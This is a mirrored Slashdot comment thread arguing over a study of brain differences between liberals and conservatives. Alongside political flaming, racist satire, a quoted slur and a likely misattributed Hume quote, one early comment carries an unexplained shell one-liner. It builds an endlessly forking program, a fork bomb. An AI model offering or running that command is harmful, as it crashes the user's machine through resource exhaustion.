Slashdot Mirror
Brain Differences In Liberals and Conservatives
i_like_spam writes "Scientists from NYU and UCLA report in Nature Neuroscience that the brains of Democrats and Republicans process information differently. This new study finds that the differences are apparent even when the brain processes common information, not just political topics. From the study, liberals were more likely to be accurate and showed more brain activity in the region associated with analyzing conflicts. A researcher not affiliated with the study stated, liberals 'could be expected to more readily accept new social, scientific or religious ideas.' Moreover, 'the results could explain why President Bush demonstrated a single-minded commitment to the Iraq war and why some people perceived Sen. John F. Kerry... as a flip-flopper.'"
I'm a liberal and I've always had great difficulty convincing Republicans that I'm right and they are wrong. Thankfully this study tells me that it is because I am smart and they are stupid. Since I am white and male, I look forward to further studies proving women and other races are also inferior to me to explain why they are similarly disobedient. Soon, I hope we shall return to the happy days of the 19th Century where science explained why some people the rulers and others are the ruled. Perhaps we could have a rule where Republican votes count for 3/5ths of Democrat votes, like we did with Negros before the Republicans stirred things up. Or perhaps they could be barred from voting completely, like we used to do for women.
I also hope that when the country has universal health care it will be be possible to abort fetuses with these cognitive disabilities, just like we do for babies with other developmental defects.
No, just kidding. This looks like awful science, just like the 19th Century studies that confirmed the experimenter's prejudices that black people and women were inferior.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
actually, according to tfa liberals are better thinkers.
imho old persons become conservative just because of decline of cognitive functions due to old age.
"It's such a fine line between stupid and clever" -- David St. Hubbins, Spinal Tap
1) Liberals are more likely to smoke pot
2) Pot smokers are more likely to sit around the house
3) People who sit around the house are more likely to play video games
4) People who play video games are more likely to have better hand-eye coordination
5) ???
6) Profit!
The only reason you have a black and white Liberal - Conservative divide in the US is the mathematics of how your electoral system works. Other countries with sane electoral systems actually have shades of grey.
Deleted
This isn't as bad as the UC Berkley study which basically tried to 'scientifically prove' that Conservatives were mentally impaired... using taxpayer dollars.
I also wonder just what they mean by "Conservative". Ron Paul is the candidate that has made the most sense to me so far, and most consider him FAR right... course most of those people don't know the different between conservative and libertarian, but still.
FanFictionRecs.net
You assume one way is better than another. How un-liberal of you.
“Common sense is not so common.” — Voltaire
imho old persons become conservative just because of decline of cognitive functions due to old age.
No, according to TFA, liberals are faster and more reliable at differentiating between the letter M and the letter W in a timed experiment.
I think we may safely extrapolate, and say that we expect this to be true for all differentiation between objects,
I.e. liberals could tell the difference between:
As for going so far as to say conservatives are slow and stupid. Well, there are many chains to be yanked, but saying that would would be neither fair, nor scientific.
**TODO** Steal someone elses sig.
Deleted
The linked site is scarce on details - the paper itself is more interesting. First, David Amodio (lead researcher) is not obviously flaming. I'm no expert in neuroscience -- but the data looks good, and he has a track record on usage of scans for similar tasks (most of it race-bias related, but that's another subject).
Here's an interesting part of the experimental design:
I think that there are two ways in which the experiment may be flawed. One is that 43 persons are not enough to extrapolate to the whole US population; and more importantly, no details are given on how they were chosen. If they were chosen among colleagues in an academic setting, where most people (your mileage may vary) are left-wing, you may have problems finding people which self-describe as conservative. These few would be most resistant to changing their viewpoints, I would guess -- since otherwise they may have flipped from exposure to liberal arguments.
Another way in which I think the study may be flawed is by asking people to self-define their position in the political spectrum -- a one-dimensional political spectrum. What guarantees do you have that participants really are "conservative" or "liberal" (whatever that means to you), and have actually thought about the political issues involved in each "choice" (as if there weren't many, many greys)?. A 2-dimensional political positioning would provide more insight. A short questionnaire where participants actually had to think, instead of "choosing their favorite color" would have been even better.
This is assuming that the researcher knows what he's doing, and the
conflict-related ACC activity was indexed by two ERP components. ERPs are scalp-recorded voltage changes reflecting the concerted firing of neurons in response to a psychological event. is actually a good measure of resistance to change or willingness to accomodate it. No details are provided on the exact activity, other than stating that parcicipants were offered the choice of two actions, "Go" and "No-Go".You can find the full article at the author's lab website.
Liberals aren't the folks who got so wound up in paranoia and fear that they cheered on the POTUS to invade a country that had fark all to do with any attacks on the US. Liberals aren't the ones constantly bleating about terrorists and alert levels and all the other nonsense.
But yeah, it's liberals that are the wussy scaredy cats....
Right.
"What about people like me that are a little of each and some of neither?"
Simple, you don't exist, now get out of here and stop invalidating the data!
On Wall Street they say "buy low, sell high" On the pad we say, "buy high, sell high" Isn't that somehow better?
Deleted
You may want to do some reading before using the term. Start here: http://en.wikipedia.org/wiki/Classical_liberalism.
Why bother.
Please don't start with the socialist thing. Americans do not know what "socialism" is and they've co-opted the word to use as an insult. Much like "Liberal" and "Conservative" are no longer definitions of political ideology but epithets. In this black and white world of false political dichotomy there is no room for moderates and there is no understanding of any political ideology outside of those espoused by the two faces of the single American political party (Republicans & Democrats).
In much the same way that religious voters will tolerate massive corruption and sexual perversion from politicians who claim deep religious convictions (of the White Anglo Saxon Protestant variety only please) . American's will tolerate outright evilness on the part of the avowed anti-communist & anti-socialist capitalist businessmen and lobbyists.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
I would like to see the results from a comparative study of the people here in Denmark (which is a capitalistic democracy, despite the public healthcare system, free scholls and stuff like that) - compared to the politicians here the liberals and democrats are both right-wing conservatives.
-- A good compromise leaves everyone mad. --Calvin and Hobbes
The problem of the security vacuum that was created when Hussein was brought down. After we brought down the old order, we failed to step up and maintain order, so now we have the unenviable task of trying to establish order where none exists.
Our leaders were blinded by their own optimism, now many of our finest are paying the ultimate price for that failure.
A house divided against itself cannot stand.
I may be conservative, but I'm neither arrogant nor close-minded enough to believe that somebody is stupid, callous, or a coward just because they don't agree with me.
:) ) I found this behavior fairly appalling.
I have no doubt that you as a person are not. However as a non American I must ask what did you think of the treatment of the French. Who disagreed with US policy and have the American media and public ridicule them as a country of cowards and idiots. Even tho I dont like the French(Ive had to work with them
This story was obviously submitted so that you would see something like an "501 of 896" posting count. It is 100% pure flamebait or perhaps on a higher level a poorly written satire.
I am not in the middle of this Liberal/Conservative "war," and I can tell you honestly that liberals can be very stupid, and conservatives can be very astute.
Well spotted.
The paper is still in the preview part of natures website, so I couldn't get to the full text.
David M. Amodio has done similar trials, where responses are timed (otherwise, the subject could just take their time and get a 100% hitrate). Heres an example where latencies are measured. I have assumed a very similar method was used in both experiments.
http://scan.oxfordjournals.org/cgi/content/full/1/1/26
**TODO** Steal someone elses sig.
Also, are we talking about ideals, financial, or strictly both to qualify conservative or liberal? My ideals are conservative, but I'm financially liberal; were these things weighted? I'd say my socio-economical class doesn't much lean either way (white male, middle-middle class, 23), so is the question just which side I relate to more?
FWIW, I don't think binary labels are a good tool for representing an analog chunk of an analog spectrum without assigning weights to aspects that are of a social nature. Does anyone else feel that this entire study ended up with a group of people standing around grinning at their excessive cleverness at the end of the day, while no actual scientific work was accomplished?
If I mod you up, it doesn't necessarily mean I agree with what you've said, sorry.
Book I, lines 261-263 of Paradise Lost.
"Here we may reign secure, and in my choice
To reign is worth ambition though in hell:
Better to reign in hell, that serve in heav'n."
Have you ever read Milton, Captain?
Cronus
Most people here assume just accepting new ideas at face value (which is all the study suggested) is a good thing. The article did not in any way indicate that it tested what the evaluative processes that liberals vs conservatives go through before they integrate new ideas into their view of the world. That's a critical thing to know. Frankly, I want people in charge and those voting to have some initial skepticism and to analyze new ideas before they accept them. Just because you hear it or have an initial thought doesn't make it true or valid.
On another note, the article indicated that they chose "very liberal" or "very conservative". It's entirely plausible that the extremes are there for biological reasons and those who dont "identify" with their political orientation choose that orientation for different reasons (former biological, latter rational thought)
Hating the French and Mexicans is high fashion among the Dixie Republicans and Midwesterners, I doubt they even know why. However they lack the ability to successfully identify the objects of their derision. On a recent trip to Atlanta, GA I was confronted by a few women bemoaning the fact that my family were a bunch of wetbacks here on the dole, and couldn't even be bothered to learn the language. This was wrong on a number of different levels: I am an American Citizen, as is my Daughter. My Girlfriend is Cambodian. We are all legal residents of Austria. My girlfriend had a tourist visa (as we were on holiday). We were speaking German between ourselves and I was trying my best to translate. Despite having lived in Atlanta for a number of years in the past, I was absolutely amazed to be subjected to this sort of hate.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
May contain traces of nut.
Made from the freshest electrons.
In this vein of reasoning (thanks for digging the groove for me to glide along so easily), it means conservatives read about something (study, presidency, war), and think, "man, I'd be good at that!" then get there, and they get explained what they have to do, and about 3 minutes into it, they start doing a poor job, even though they committed to it and they're getting paid. They think things like, "boy, this is hard work!" and "you can't be expected to be accurate all the time."
For example. Think before you troll. I'm not even really into the liberal/conservative social split we have going in our culture. But as another posted pointed out, Conservatives seem to be pretty good at reconciling being a gay-bashing homosexual. Yes, there are things that are detestable about liberals, but we've got the neo-cons, the page-fucker, the anonymous gay sex guy, and my republican acquaintances are completely steadfast in their support of 'their' people, even when they can provide zero reason.
A great rationalization I've heard goes something like this:
Guy 1: Do you agree with Bush's policies?
Republican voter: I agree with his morals
Guy 1: Yes, but what about his policies?
Republican voter: I believe he's a very moral man.
I shit you not, a real conversation I've overheard. This goes far from condemning all republicans, but I've heard things in exactly the same spirit that are exactly as shocking from lots and lots of people.
Again, think before you troll, please. You upset me.
Please stop stalking me, bro.
You sir, have the strangest definition of religion I have ever seen.
Political models != religion.
Economic models != religion.
However, OS choice == religion.
Sorry, but polling COLLEGE STUDENTS does NOT reflect the general populous. Is this stat a little rigged? Very rigged? Think for a minute here--aren't college students naturally more open to doing things? I have seen an awful lot of college students go from "mad liberal" to moderate in a matter of a few years as I am in a "spectatorial" position where we hire guys fresh out of school and watch how they change throughout their careers.
--parasonic
I guess it goes without saying that democratic politics seems to be something less than the shining beacon of leadership it's meant to be, at the moment. The "left" and the "right" seem to rarely argue from their traditional perspectives anymore (left: more tax, more public services, more rights for gay people and women; right: less tax, more freedom for corporations, "family values") and instead just stick to the party drift. Right: pro-war; left: anti-war.
In the UK, we even have the leader of the right wing Conservative party (David Cameron) saying he will match Labour's spending commitments. There is now nothing to choose between them in terms of policy. The only difference is whichever set of politicians you think is the least idiotic and selfish.
In the US, I guess it's whether you're more sickened by the corruption and incompetence of the Republicans or the cowardice and lack of direction of the Democrats.
Peter
Someone needs to repeatedly remind the French-hating Americans that it was the "cheese-eating surrender monkeys" who won the American war of independence at the battle of Yorktown.
I wrote my first program at the age of six, and I still can't work out how this website works.
I guess it goes without saying that democratic politics seems to be something less than the shining beacon of leadership it's meant to be, at the moment.
Got that right.. The last Democrat who was worth a damn was Harry Truman.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
Yes, clearly if conservatives are failing in our cognitive experiments, it's a result of a cultural bias in the test. It's hardly surprising, after decades of prejudice against conservatives in the sciences, that the tests are designed to protect the current cultural hegemony. Rather than subjecting conservatives to standardized cognitive experimentation, therefore, we should be using holistic methods in the laboratory, and perhaps speaking to them in their own rich linguistic heritage, which I call "elephonics".
Or it supports my theory that people get more selfish as they get older.
You're kidding, right? Ever heard the piercing shriek of a four year-old yelling "mine!"?
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
"France only wins when America does most of the fighting."
Most? I think Britain and Russia can claim the last one.
I wrote my first program at the age of six, and I still can't work out how this website works.
I love how the strength of people's biases filter through to so control how we think and act in this world. The majority of responses here seem to complain about Democrat or Republicanism or some hardly veiled tack. Take a look at TFA, it purely distinguishes between liberals and conservatives (small l and small c) not Democrats and Republicans. THERE IS A HUGE DIFFERENCE. And to assume or extrapolate otherwise is a hugely incorrect step on all our parts. As a matter of fact, the word Republicans isn't even mentioned in the report! Strangely, the word Democrat appears once describing John F. Kerry (which is the most douchebagish way of saying John Kerry...), but regardless. Another important issue, is we cannot link directly to the ACTUAL study in question" (for a separate reason: due to the controlled access of knowledge by academic institutions, which sucks). How do we know truly what the study entails, how the methodology is controlled, etc., without access to the actual paper. This is only possible if you have $30 for the article entry, btw. Nonetheless, as long as Americans continue to automatically draw the line between liberal and conservative, Democrat and Republican, black and white, etc., as the article quotes the author of the study: "liberals and conservatives are never going to agree". And articles like this do nothing to help. But ultimately, its all our faults for drawing lines in the sand and being so damned stubborn to the detriment of life, society, and wellbeing.
...and it should be known by now
I have lived my entire life as an immigrant, a family of defectors running from the Czech communists.
My whole life I've had jingoist assholes hate me because I was not born where they were born. I've had redneck racist assholes stutter with confusion when they discover that just because I am white doesn't mean I am 'from around here' and share their racism.
I've spent my whole life trying to learn languages of where I am living and I've got to tell you languages aren't my thing I'm no good at any of the ones I speak. I've then had racists hate me because I spoke English with accent different from their accent... and they can barely speak ONE language.
Both my girlfriend and my daughter have had racists hassle them based on skin colour and accent in the US and not in Europe.
You have a whole branch of your family gone? That doesn't does make you special, that makes you average... well over half of members of my family who were living in the 30's were killed either during WWII or shortly after and you don't hear me using as an excuse to hate.
You say "the gov't wants me to let go of my culture and my country to a bunch of pricks that can't even follow the simplest of laws to get into the country!" This is the height of racist BS. No immigrant wants you let go your 'culture' (such that it is) they want to rid you of your hate. The US government does not want people to abandon culture or country affiliation, they have simply forbad you commit crimes motivated by the hate you have. People like you make me glad I took my family and my money to Europe.
Nothing in the world is more dangerous than sincere ignorance and conscientious stupidity.
Yes, but depending on the college, the prevailing political opinion may be heavily slanted towards one side. That would certainly skew the results, as people who couln't make their minds for themselves would be answering with locally "righteous" ideology, and cases of those who did not cave in would be more extreme (either because they felt strongly about their options, or because they stuck to their choice out of being stubborn). My wild guess is: predominantly liberal college, few conservatives to choose from, most happened to be headstrong.
Repeat the experiment with a different distribution to check for this bias, or quiz people on their political views instead of allowing them to tick a box.
I'm disappointed that no one has quoted David Hume yet:
"Not all conservatives are stupid, but it is true that most stupid people are conservative."
What if I do the same thing, and I do get different results?
Actually, the inevitability of becoming more conservative as we age is overstated, at least from my observations.
However -- there is something of a tendency this way, which is readily explained by something market researchers have known for years: the concerns of young people and old people are different.
When you are young, you don't have much: not much stuff, not much property, not much power. But you have potential. Therefore you favor things that take wealth out of the hands of The Man in order to maximize human potential.
When you are my age, you have lots more stuff, lots more power, but less margin of error. The twenty year old who loses everything has his entire work career to earn it back. The fifty year old can look forward to a miserable retirement. Therefore you are less interested in exploiting the possibilities of a brave new world, and more interested in holding onto what you already have.
I would say that the most intellectually committed individuals on the right and left tend to shift less often than the people whose ideology is a shallow "stick it to the man" thing. The latter people's opinions really just reflect their selfish immediate interests throughout their lives.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Need to type accents and special characters in Windows? Use FrKeys
Come on, they used a "W". To any conservative a "W" is just a letter. To any Liberal, a "W" means "George W. Bush" to which they have an adrenaline rushed response to any mention or sight.
In fact, the study almost proves this fact. For both conservatives and liberals their reactions to the letter "M" were nearly identical. Liberals only excelled in targeting the letter "W".
We pretty much already know that Liberals are very good at targeting George "W".
Bah!
***
This is some of the worst science. Thankfully, it's anti-conservative therefore Slashdot will readily post it in it's slide away from a "science" log to a "politics" log.
Everyone is always old enough in his own mind. When I was 15, I was definitly old enough and had enough experience. Or so I thought. I turned 21 and saw what a moron I was at 15. But at 21, I was set, ready and had all the wisdom necessary.
I turned 25, and could only shake my head at the fool I was at 21. But no more, I swore!
Now I'm past 30 and, seriously, that idiot I was at 25... let's not talk about him. But finally, I managed to be the pinnacle of wisdom and intelligence, now if my boss (who's gonna go for 50 in a few weeks) would only admit that I am...
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
For example. Think before you troll.
He can't, he's a conservative.
Illegal immigration is an administrative violation, and is a lesser crime than speeding or letting your parking meter run out. Do you also consider double-parkers and cellphone drivers criminals or are you anal only towards immigrants?
'Illegal' immigration becomes an actual crime after an immigrant fails to report to an immigration hearing, or fails to follow a deportation order; doing either is a misdemeanor. I believe working without authorization could also be a misdemeanor. Re-entering the country after having been deported is a felony. Simply being here 'illegally' is neither.
Congress has tried in the past to make first-time border crossing a misdemeanor or even a felony, but failed.
Obama likes poor people so much, he wants to make more of them.
In the short term, in America, "right-wing" and "conservative" overlap.
In general, conservatism is an attempt to preserve existing state, liberalism an attempt to change it, or at least an openness to change. That people who are open to change are open to change is not a surprising result.
My blog: http://www.seebs.net/log/ --- My iPhone/iPad app: http://www.seebs.net/seebsfrac/
imho you're not old enough to have the experience required to know just how valuable experience can be.
Is that why the vast majority of people do their best and most well known work before 30.
"There are more things in heaven and earth, Horatio, than are dreamt of in your philosophy."
The reason Bush can stick to his positions so easily is that his positions amount to a pack of carefully packaged lies.
Take the Bush tax cuts for example. He wanted the tax cuts, and he wanted them slanted to favor the very rich. We know that much, if only because that's exactly what he got. But his position (lie) was (depending on the day):
. We're running huge surpluses far into the future. In that light, it's immoral to collect so much in taxes.
. We're in a recession, only tax cuts for will save the economy. (and only the *same* tax cuts for the rich that happen to be the least efficient at fighting a recession)
. I'm giving a few hundred dollars in cuts to lots of middle class families, so most of my tax cuts go to middle class families. (even though in total dollars most of the money goes to the top few percent by a huge margin)
. Taxes on dividends amount to immoral double-taxation (even though Corporations take enough deductions to never pay taxes on the money).
. Repealing the inheritance tax will save family farms that would otherwise be lost.
On any given day, Bush's position was for tax cuts. But his rationale was all over the map. Likewise, his rationale for invading Iraq was all over the map (i.e. he was lying). The only difference is the *real* rationale isn't quite (oil?) as obvious (oil?) when it comes to (oil?) Iraq.
I was listening to Bill Kristol the other day explaining how invading Iraq was *still* the right thing to do, because the sanctions were going to come off. What the interviewer neglected to ask him was "who was pushing for the sanctions to come off and why"? I never heard anybody publicly call for that, but I'll bet some big Oil patch donors wanted it. So what Bill really meant was Republican beneficiaries of Oil interests were unable to resist their benefactors' requests to remove the sanctions, so we needed to go to war to destroy the regime so it was safe to remove the sanctions.
Posted from my Android phone. Oh, I can change this? There, that's better...
So if we know what the difference is between liberals and conservatives...
Does that mean we can finally fix the conservatives?
There's not a problem with nuance, it's that, for example, it's not practical to proceed doing something unless your path is clear.
As an example, the drinking age is 21 in every state in the U.S. (as far as I recall). Now, there are obviously people under the age of 21 who are responsibile enough to drink, and there are obviously people over the age of 21 who are not. Moreover, a store can lose it's license by selling someone alcohol at 11:59pm the day before the purchasers birthday, as if one minute, or one day, or even one week really changes anything.
But it's simply not practical to say, for example, test everyone and give them a license just to buy alcohol (or cigarettes).
You can't "kind of, sort of" decide to go to war... this was a problem in Vietnam and also in Iraq. It doesn't matter how whether or not you agreed with it, but if you're going to do it, you need to do it and not restrain yourselves to try to look better in the eyes of the media while the problem festers and grows. War is a horrible, mean, vicious endeavour that should never be gotten into lightly - but if you do it, you need to be horrible, mean, and vicious.
On the other hand, there are debates that certainly can, and must be, more nuanced. Abortion, for example. People full tilt to the left want abortion on demand at any point in the pregnancy for any reason. People full tilt to the right want abortion banned for any reason whatsoever. But the vast majority of both conservatives and liberals are certainly somewhere in the middle... the vast majority of people have a nuanced opinion on the subject.
So, being a conservative leaning libertarian, I'd suggest that conservatives maybe often see things in black and white when it's prudent to do so, and that's why you cannot be for the war before you were against it, or voted for the war and now want to withdraw funding for the troops. All that says to me is that you did not seriously consider your original vote before casting it. That's not "nuanced," that's just wrong.
Stupid sexy Flanders.
You can have a strong dislike for Israel without being a "jew-hater." Do NOT confuse anti-semitism with dislike for a country's policies or divisiveness.
That's certainly true, which is why dating conservatives is so boring.
Recursive: Adj. See Recursive.